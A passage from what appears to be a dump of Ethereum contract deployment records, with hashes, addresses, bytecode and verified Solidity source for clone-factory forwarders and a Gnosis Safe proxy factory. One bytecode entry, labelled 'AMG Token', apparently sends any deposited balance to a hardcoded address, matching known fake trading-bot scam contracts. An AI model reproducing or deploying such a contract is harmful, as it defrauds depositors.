{\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}} |
1 | 19,493,880 | 54331555ca1ab6ab67094fcebd5f6f483611926d4f531a963083f6af391f3f81 | 9d495c8876b22fa26cae98a000d053f9f221d61b353eb5aaca96dc72a9d67b95 | c9aad2fc90eddacf02bd11fa690e3b44e318aa9b | a2a1bf5a83f9daec2dc364e1c561e937163cb613 | 5043b9a339337552cc5cebd011d717db2b9148bb | 3d602d80600a3d3981f3363d3d373d3d3d363d7387ae9be718aa310323042ab9806bd6692c1129b75af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d7387ae9be718aa310323042ab9806bd6692c1129b75af43d82803e903d91602b57fd5bf3 | |
1 | 19,493,882 | 9fa2c89139f6f145d9de0561c7bfa7203b37087d781d9ad0f8eb317bb4b2a606 | 9c0f02f5bed9fb201a0789a5778d6ac1ef9c70603127c3c185491733b3f3bdf9 | 3aeb5831f91d29b3992d659821a7fed7b805a107 | ffa397285ce46fb78c588a9e993286aac68c37cd | 33b4c77ba24f0c2b80bdfbb5e6d8a55b5ada7d03 | 3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
} |
1 | 19,493,883 | 64dfdf9f6f46ac4e774f913f82a674ea281b659db185a7fcc70ee1c008c3ad46 | 9a5ac4a5c2eb81490d864a4435d7b430eac80c792e86f16402b98a0a029aeaad | c2b35534e47cdf3d787e01630129631d8270abfb | c22834581ebc8527d974f8a1c97e1bea4ef910bc | bc2ed50e07e0140a7462f171b5db0c5b26b463d4 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000fb1bffc9d739b8d520daf37df666da4c687191ea | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 19,493,884 | 80bb964cc658540a25fed3a51c61eee7782ff65e2c9ef897e5a48fc07e557b42 | d38100e539d14ec5745b7765076c5a2d019e8301afd73faa010a39daab6b6692 | a7fb5ca286fc3fd67525629048a4de3ba24cba2e | c77ad0a71008d7094a62cfbd250a2eb2afdf2776 | 369decf5f5f945ffcd427a443026962b3917de56 | 608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe | ||
1 | 19,493,890 | 74f11326534b45520ee80f60826ccd8e03cc60822090ceab64f93fc12014befd | d51f84862dc77e4678fee9f6fdebbeaf01170b038be9a48818a10f4f5789a9af | a1a5ca4ad3bc1857621c3e5cf2ffb750bb32de32 | a1a5ca4ad3bc1857621c3e5cf2ffb750bb32de32 | a714b2d719e524658230da7e65061550504e308b | 608060405273bce11579b7bb1e3ea292cb20dc64b5b6bf9d10f0600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561006557600080fd5b506040516106ae3803806106ae8339818101604052604081101561008857600080fd5b81019080805160405193929190846401000000008211156100a857600080fd5b838201915060208201858111156100be57600080fd5b82518660018202830111640100000000821117156100db57600080fd5b8083526020830192505050908051906020019080838360005b8381101561010f5780820151818401526020810190506100f4565b50505050905090810190601f16801561013c5780820380516001836020036101000a031916815260200191505b506040526020018051604051939291908464010000000082111561015f57600080fd5b8382019150602082018581111561017557600080fd5b825186600182028301116401000000008211171561019257600080fd5b8083526020830192505050908051906020019080838360005b838110156101c65780820151818401526020810190506101ab565b50505050905090810190601f1680156101f35780820380516001836020036101000a031916815260200191505b50604052505050816000908051906020019061021092919061022f565b50806001908051906020019061022792919061022f565b5050506102d4565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061027057805160ff191683800117855561029e565b8280016001018555821561029e579182015b8281111561029d578251825591602001919060010190610282565b5b5090506102ab91906102af565b5090565b6102d191905b808211156102cd5760008160009055506001016102b5565b5090565b90565b6103cb806102e36000396000f3fe6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c320146100df578063be9a65551461016f578063d4e93292146101795761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610183565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100eb57600080fd5b506100f4610221565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610134578082015181840152602081019050610119565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101776102bf565b005b61018161032a565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102195780601f106101ee57610100808354040283529160200191610219565b820191906000526020600020905b8154815290600101906020018083116101fc57829003601f168201915b505050505081565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102b75780601f1061028c576101008083540402835291602001916102b7565b820191906000526020600020905b81548152906001019060200180831161029a57829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610327573d6000803e3d6000fd5b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610392573d6000803e3d6000fd5b5056fea26469706673582212207f3323fc103097c0f2d4819283a483c7b441f7927bb65c15570576e5c4070e9464736f6c63430006060033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000009414d4720546f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003414d470000000000000000000000000000000000000000000000000000000000 | 6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c320146100df578063be9a65551461016f578063d4e93292146101795761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610183565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100eb57600080fd5b506100f4610221565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610134578082015181840152602081019050610119565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101776102bf565b005b61018161032a565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102195780601f106101ee57610100808354040283529160200191610219565b820191906000526020600020905b8154815290600101906020018083116101fc57829003601f168201915b505050505081565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102b75780601f1061028c576101008083540402835291602001916102b7565b820191906000526020600020905b81548152906001019060200180831161029a57829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610327573d6000803e3d6000fd5b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610392573d6000803e3d6000fd5b5056fea26469706673582212207f3323fc103097c0f2d4819283a483c7b441f7927bb65c15570576e5c4070e9464736f6c63430006060033 | |
1 | 19,493,890 | 74f11326534b45520ee80f60826ccd8e03cc60822090ceab64f93fc12014befd | 1da70c36e79a7e2dee4307c3730cc17ae35467c9e330198ee7cf4cfb2e867160 | 099b1d292689be58f498f127f4e08fe4f0969bce | ffa397285ce46fb78c588a9e993286aac68c37cd | ad6a3e723a4555790493c64a9d5cd80a05813ae2 | 3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
} |
1 | 19,493,892 | 076fe02975a64ccc4db7d94400b21980c3ceedcf5aa782cdcc1a0891c2f15498 | 612155d82de67a1671f78852f20e62d54d65a7afdde848d64743dfb3a37f6aad | a9a0b8a5e1adca0caccc63a168f053cd3be30808 | 01cd62ed13d0b666e2a10d13879a763dfd1dab99 | 955433d980da11705cf2420e70350bdcde561775 | 3d602d80600a3d3981f3363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3 | |
